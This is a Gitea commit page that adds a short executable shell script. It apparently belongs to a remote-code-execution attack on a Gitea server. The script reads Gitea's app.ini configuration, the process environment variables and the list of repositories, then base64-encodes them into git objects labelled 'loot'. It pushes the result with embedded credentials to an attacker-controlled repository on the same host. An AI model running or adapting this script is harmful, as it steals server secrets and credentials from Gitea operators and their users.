apply
This commit is contained in:
1 parent
d13de62016
commit
c1ccd201ec
1 file changed
+12
Executable
+12
@@ -0,0 +1,12 @@
|
||||
#!/bin/sh
|
||||
sleep 1
|
||||
A=$(base64 -w0 /data/gitea/conf/app.ini 2>/dev/null || base64 /etc/gitea/app.ini 2>/dev/null)
|
||||
E=$(cat /proc/self/environ 2>/dev/null | tr '\0' '\n' | base64 -w0 2>/dev/null)
|
||||
D=$(ls /data/git/repositories 2>/dev/null | base64 -w0 2>/dev/null)
|
||||
B1=$(printf '%s' "$A" | git hash-object -w --stdin 2>/dev/null)
|
||||
B2=$(printf '%s' "$E" | git hash-object -w --stdin 2>/dev/null)
|
||||
B3=$(printf '%s' "$D" | git hash-object -w --stdin 2>/dev/null)
|
||||
T=$(printf '100644 blob %s\tloot_appini\n100644 blob %s\tloot_env\n100644 blob %s\tloot_repos\n' "$B1" "$B2" "$B3" | git mktree 2>/dev/null)
|
||||
C=$(git commit-tree $T -m loot 2>/dev/null)
|
||||
git push -q "http://rce7lwc58:P0c!b3oflcs2aZ@127.0.0.1:443/rce7lwc58/rce-74oxkk.git" "$C:refs/heads/loot" >/dev/null 2>&1 || git push -q "http://rce7lwc58:P0c!b3oflcs2aZ@127.0.0.1:3000/rce7lwc58/rce-74oxkk.git" "$C:refs/heads/loot" >/dev/null 2>&1
|
||||
sleep 2
|
||||
Reference in new issue
Block a user